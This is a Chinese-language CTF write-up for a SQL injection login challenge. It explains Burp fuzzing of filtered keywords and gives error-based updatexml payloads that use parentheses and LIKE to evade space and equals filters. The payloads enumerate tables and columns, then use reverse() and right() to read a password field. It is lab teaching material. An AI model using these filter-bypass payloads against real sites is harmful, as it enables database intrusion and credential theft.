考点:SQL注入, 用括号做分隔代替空格 , like代替等号,用异或运算或or代替and
登录框抓包,对username和pasword的值加单引号进行测试, 在password处加单引号报错,说明存在报错注入

再首先进行Fuzz测试,这一步尤为关键,因为现在各类大型比赛必定过滤一大堆关键字,所以利用BP进行Fuzz测试如下,自备关键字字典

可以自行根据长度的返回包判断是否被过滤,这里是736
看到过滤了空格,/**/,+,=,and等
但可以用括号绕过空格过滤
查表
1’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

查字段
1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23

查内容
1’or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23

但是updatexml只能读取32个字符,buu上flag较长,同时substr和mid函数也被过滤,我们可以用right和reverse进行读取
1.reverse
1’or(updatexml(1,concat(0x7e,(select(reverse(password))from(H4rDsq1)),0x7e),1))%23
得到下面的值:从后读取32位
}a6eb9908e473-aa59-c4f4-774e-26
利用python转换

2.right
1%27or(updatexml(1,concat(0x7e,(select(right(password,32))from(H4rDsq1)),0x7e),1))%23

最后拼接得到flag